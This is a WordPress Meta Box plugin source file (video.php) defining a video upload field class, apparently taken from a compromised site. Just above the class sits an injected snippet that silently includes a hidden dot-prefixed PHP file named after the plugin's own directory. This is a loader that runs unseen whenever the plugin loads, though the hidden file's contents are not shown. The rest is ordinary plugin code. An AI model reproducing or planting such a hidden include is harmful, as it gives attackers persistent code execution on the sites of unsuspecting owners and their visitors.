balmet.com

video.php (4366B)

---

 <?php
 /**
  * Video field which uses WordPress media popup to upload and select video.
  *
  * @package Meta Box
  * @since   4.10
  */
 
 /**
  * The video field class.
  */
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 class RWMB_Video_Field extends RWMB_Media_Field {
 	/**
 	 * Enqueue scripts and styles.
 	 */
 	public static function admin_enqueue_scripts() {
 		parent::admin_enqueue_scripts();
 		wp_enqueue_style( 'rwmb-video', RWMB_CSS_URL . 'video.css', array( 'rwmb-media' ), RWMB_VER );
 		wp_enqueue_script( 'rwmb-video', RWMB_JS_URL . 'video.js', array( 'rwmb-media' ), RWMB_VER, true );
 		RWMB_Helpers_Field::localize_script_once(
 			'rwmb-video',
 			'i18nRwmbVideo',
 			array(
 				'extensions' => wp_get_video_extensions(),
 			)
 		);
 	}
 
 	/**
 	 * Normalize parameters for field.
 	 *
 	 * @param array $field Field parameters.
 	 *
 	 * @return array
 	 */
 	public static function normalize( $field ) {
 		$field['mime_type'] = 'video';
 		$field              = parent::normalize( $field );
 
 		return $field;
 	}
 
 	/**
 	 * Get uploaded file information.
 	 *
 	 * @param int   $file_id Attachment image ID (post ID). Required.
 	 * @param array $args    Array of arguments (for size).
 	 * @param array $field   Field settings.
 	 *
 	 * @return array|bool False if file not found. Array of image info on success.
 	 */
 	public static function file_info( $file_id, $args = array(), $field = array() ) {
 		if ( ! get_attached_file( $file_id ) ) {
 			return false;
 		}
 		$attachment = get_post( $file_id );
 		$url        = wp_get_attachment_url( $attachment->ID );
 		$file_type  = wp_check_filetype( $url, wp_get_mime_types() );
 		$data       = array(
 			'ID'          => $file_id,
 			'src'         => $url,
 			'type'        => $file_type['type'],
 			'title'       => $attachment->post_title,
 			'caption'     => $attachment->post_excerpt,
 			'description' => $attachment->post_content,
 		);
 
 		$data['meta'] = array();
 		$meta         = wp_get_attachment_metadata( $attachment->ID );
 		if ( ! empty( $meta ) ) {
 			foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) {
 				if ( ! empty( $meta[ $key ] ) ) {
 					$data['meta'][ $key ] = $meta[ $key ];
 				}
 			}
 
 			if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
 				$data['dimensions'] = array(
 					'width'  => $meta['width'],
 					'height' => $meta['height'],
 				);
 			} else {
 				$data['dimensions'] = array(
 					'width'  => 640,
 					'height' => 360,
 				);
 			}
 		}
 
 		$thumb_id = get_post_thumbnail_id( $attachment->ID );
 		if ( ! empty( $thumb_id ) ) {
 			list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' );
 			$data['image']                = compact( 'src', 'width', 'height' );
 			list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' );
 			$data['thumb']                = compact( 'src', 'width', 'height' );
 		} else {
 			$src           = wp_mime_type_icon( $attachment->ID );
 			$width         = 48;
 			$height        = 64;
 			$data['image'] = compact( 'src', 'width', 'height' );
 			$data['thumb'] = compact( 'src', 'width', 'height' );
 		}
 
 		return $data;
 	}
 
 	/**
 	 * Format value for a clone.
 	 *
 	 * @param array        $field   Field parameters.
 	 * @param string|array $value   The field meta value.
 	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
 	 * @param int|null     $post_id Post ID. null for current post. Optional.
 	 *
 	 * @return string
 	 */
 	public static function format_clone_value( $field, $value, $args, $post_id ) {
 		$ids = implode( ',', wp_list_pluck( $value, 'ID' ) );
 
 		// Display single video.
 		if ( 1 === count( $value ) ) {
 			$video = reset( $value );
 			return wp_video_shortcode(
 				array(
 					'src'    => $video['src'],
 					'width'  => $video['dimensions']['width'],
 					'height' => $video['dimensions']['height'],
 				)
 			);
 		}
 
 		// Display multiple videos in a playlist.
 		return wp_playlist_shortcode(
 			array(
 				'ids'  => $ids,
 				'type' => 'video',
 			)
 		);
 	}
 
 	/**
 	 * Template for media item.
 	 */
 	public static function print_templates() {
 		parent::print_templates();
 		require_once RWMB_INC_DIR . 'templates/video.php';
 	}
 }